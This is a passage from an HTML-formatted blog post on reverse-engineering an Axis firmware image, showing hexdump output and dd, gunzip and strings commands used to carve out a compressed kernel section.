0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum21&quot; style=&quot;color: #606060;&quot;&gt;  21:&lt;/span&gt;   0029d330 33   Adler CRC32 (0x01c26a37) [32&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;le&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;1024]&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum22&quot; style=&quot;color: #606060;&quot;&gt;  22:&lt;/span&gt;   0029d730 35   Adler CRC32 (0xb8bc6765) [32&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;le&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;1024]&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum23&quot; style=&quot;color: #606060;&quot;&gt;  23:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum24&quot; style=&quot;color: #606060;&quot;&gt;  24:&lt;/span&gt; - 3 signatures found in the file&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
I found a solution after a while looking at the actual hex code on the file. Using hexdump to convert the file I notice a large section inside filled with a sort of padding,&lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; 00146100  c8 1a 85 c0 c0 16 85 c0  d0 32 70 c0 a0 16 85 c0  |&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;2p&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; 00146110  bc 16 85 c0 56 32 70 c0  a4 16 85 c0 ac 16 85 c0  |&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;V2p&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; 00146120  9c 16 85 c0 58 00 70 c0  88 96 84 c0 90 96 84 c0  |&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;X&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;p&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; 00146130  94 16 85 c0 a8 16 85 c0  00 00 00 00 00 00 00 00  |&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; 00146140  00 00 00 00 00 00 00 00  00 00 00 00 ff ff ff ff  |&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; 00146150  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt; &lt;span style=&quot;color: #cc6633;&quot;&gt;*&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt; 001fca20  ff ff ff ff ff ff ff ff  85 19 01 e0 30 00 00 00  |&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;0&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum9&quot; style=&quot;color: #606060;&quot;&gt;   9:&lt;/span&gt; 001fca30  78 be 3e fa 01 00 00 00  00 00 00 00 02 00 00 00  |x&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum10&quot; style=&quot;color: #606060;&quot;&gt;  10:&lt;/span&gt; 001fca40  23 6d c5 4c 08 08 00 00  51 ae 45 03 63 c1 56 6c  |&lt;span style=&quot;color: green;&quot;&gt;#m.L....Q.E.c.Vl|&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum11&quot; style=&quot;color: #606060;&quot;&gt;  11:&lt;/span&gt; 001fca50  2e 64 65 76 2e 74 61 72  85 19 02 e0 96 01 00 00  |&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;dev&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;tar&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum12&quot; style=&quot;color: #606060;&quot;&gt;  12:&lt;/span&gt; 001fca60  38 e0 68 15 02 00 00 00  01 00 00 00 a4 81 00 00  |8&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;h&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum13&quot; style=&quot;color: #606060;&quot;&gt;  13:&lt;/span&gt; 001fca70  00 00 00 00 00 f0 00 00  23 6d c5 4c 23 6d c5 4c  |&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;#m.L#m.L|&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
Apparently there is a section between locations 001fca20 and 00146150 filed with ff ff ff ff. Few bytes below address 001fca20, there is visible a dev.tar ( possible filesystem data ? ) entry. I cut through the file to verify that gzip compression data are still valid after chopping the tail of that contents.&lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# dd if=gzip.section.gz bs=1 count=$((0x00146150)&lt;/span&gt;) of=until_padding&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;gz&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; 1335632+0 records in&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; 1335632+0 records out&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; 1335632 bytes (1&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;3 MB) copied, 36&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;0775 s, 37&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;0 kB/s&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# gunzip until_padding.gz &lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; gzip: until_padding&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;gz: decompression OK, trailing garbage ignored&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# l until_padding &lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt; -rw-r--r-- 1 root root 2695168 2011-08-21 09:21 until_padding&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
Extracted area is giving a file around 1.3 MB of compressed data that expanded is still giving us the same results, trying a bit more and cutting bytes from the end I was able later even to correct the warning from gunzip about trailing garbage.&lt;br /&gt;
&lt;br /&gt;
Further more, strings shows some interesting data on the file like the existence of a jffs2 filesystem and more details to ensure that this is the kernel that we are looking at &lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# strings until_padding | more&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; -romE=&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; (hsqs&lt;/pre&gt;&lt;pre 